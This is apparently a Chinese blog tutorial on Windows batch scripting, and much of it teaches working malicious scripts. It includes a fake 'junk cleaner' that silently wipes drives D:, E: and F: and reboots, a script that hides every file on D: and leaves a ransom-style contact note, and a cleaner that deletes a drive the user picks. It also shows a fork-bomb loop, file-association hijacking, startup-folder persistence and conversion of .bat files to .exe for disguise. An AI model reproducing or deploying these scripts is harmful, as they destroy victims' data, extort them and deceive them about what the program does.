1.批处理脚本制作
2023-03-14 22:42:55 时间
批处理编写
1.1、批处理概述
批处理定义:自上而下成批的处理每一条命令,直到执行最后一条! 批处理作用:一般批处理也叫脚本,如果该脚本实现的破坏功能,我们称之为恶意脚本,也就是木马或者病毒 何为脚本:windows中,叫批处理脚本(批处理是由DOS命令组成编写得) linux中,叫shell脚本(shell脚本是shell命令组成编写的) 脚本==自动化
1.2、如何创建批处理
@echo off
assoc .txt=mp3file # 将txt当成音乐文件,打开txt文件将使用音乐播放器打开
assoc .jpg=mp3file
assoc .png=mp3file
assoc .zip=mp3file
扩展名: .bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat
注:修改扩展名时,需要将文件的扩展名显示出来后再进行修改!
1.3、批处理案例
案例1:恶意脚本--之--清理垃圾篇
@echo off
echo ==============================
echo.
echo 垃圾清理程序 v1.0
echo --by hacker
echo.
echo ==============================
pause
echo 垃圾清理中。。。。。
rd d: /s/q >nul 2>nul
rd e: /s/q >nul 2>nul
rd f: /s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
echo 恭喜您,垃圾清理完毕,按任意键重启计算机,效果更好!
pause
shutdown -r -t 2
用到得知识点:
@echo off # 关闭回显,说人话,屏蔽执行过程!
pause # 暂停批处理运行
echo. # 空一行
命令 >nul 2>nul # 命令不要有任何反馈输出
ping -n 10 127.0.0.1 >nul 2>nul # 没有任何输出,实现假死10秒左右,也可以通过修改10数
字,修改时间
案例2:恶意脚本 之 隐藏所有文件-勒索脚本
@echo off
echo ==============================
echo.
echo 垃圾清理程序 v1.0
echo. --by wencoll
echo ==============================
pause
echo 垃圾清理中。。。。。
attrib +s +h d:*.* /S /D >nul 2>nul
echo 18709999999 >d:找回文件联系我哟.txt
echo 垃圾清理完毕
start d:
案例3:设置脚本标题
@echo off
title 好玩的程序哟!
echo ==================
echo 垃圾即将清理有
echo ==================
pause
案例4:将bat转换成exe格式
bat-to-exe-converter软件+图标文件(.ico) 转换过程参考视频!
案例5:设置互动变量脚本
@echo off
set /p boy=哥们,你的姓名是: # set /p 用来设置互动为变量赋值
set /p girl=女神是谁?
echo %boy% love %girl% # %变量名% 作用是取变量的值
pause
案例6:灵活运用set /p
@echo off
echo 垃圾清理程序
echo.
set /p pan=哥们,请输入你要清理垃圾的盘符(注意只写字母即可):
echo.
echo 稍安勿躁,垃圾清理中。。。
rd %pan%: /s/q >nul 2>nul
echo 恭喜!垃圾清理完毕!
pause
案例7:echo.的用法
@echo off
echo ====================
echo. # echo.为固定用法,代表空一行
echo 大飞哥友好程序
echo.
echo ====================
pause
案例8:冒号:和goto的的基本用法
冒号:的用法:定义命令区间 goto命令:用来在命令区间之间做跳转
@echo off
:a # 定义命令区间,区间名为a
echo wen
goto c # 跳转到命令区间c
:b
echo xiao
:c
echo fei
pause
冒号与goto 之 亮瞎你的眼
@echo off
:a
echo 阿七真帅!
color 0a
color f0
color a5
color ec
goto a
冒号与goto 之 死循环:
@echo off
:a
start cmd
goto a
%0 #0是变量,该变量的值就是脚本的名称本身!,所有%0的作用就是再次执行一次本
脚本,实现死循环
%0|%0 #无论如何都要重新执行本脚本(对win10及win7也有效)
案例9:互动赋值实现自动关机
@echo off
set /p time=请输入关机时间(秒):
shutdown -s -t %time%
案例10:定义批处理运行时窗口大小
@echo off
mode con cols=40 lines=10 # cols 定义宽 , lines定义高度
pause
案例11:设置自启动脚本(一)
copy %0 "C:Documents and Settings\%username%「开始」菜单程序启动"
shutdown -r -t 0
::该路径仅适用于早期系统,如:windows xp、windows server 2003
::变量username的值就是当前登录用户的用户名!
案例12:设置自启动脚本(二)
copy %0 "C:Users\%username%AppDataRoamingMicrosoftWindowsStart
MenuProgramsStartup"
shutdown -r -t 0
::注释:该路径仅适用于新系统:windows 7、windows10、windows server
2008/2012/2016/2019、
::变量username的值就是当前登录用户的用户名!
%0代表脚本本身的名称!!!
相关文章
- 首次获得摩拜单车的红包
- 不能在DropDownList 中选择多个项
- 此实现不是 Windows 平台 FIPS 验证的加密算法的一部分的解决办法方案
- SqlException 当前命令发生了严重错误 应放弃任何可能产生的结果
- 一个页面实例化两个ueditor编辑器,同样的出生却有不同的命运
- 如何利用代理知识去提升一个网站的流量
- WebBrowser的Cookie操作之流量刷新机
- 网站受攻击的常用手段
- 八爪鱼招标网的百度权重升为2了,独立IP也从0快速发展为1000
- 当你的网站被疯狂攻击时你能做什么?
- 中控考勤仪IFace302多线程操作时无法订阅事件
- 约制感官生和谐
- 君子眼中皆好人
- Tesseract-OCR 字符识别---样本训练 [转]
- 看板:自我管理的高效工具!
- 如何管理项目干系人
- 构建自组织团队,让敏捷管理更好地落地
- MVP、原型、概念验证,傻傻分不清楚?
- 敏捷价值流管理
- 为什么你的敏捷总是不成功?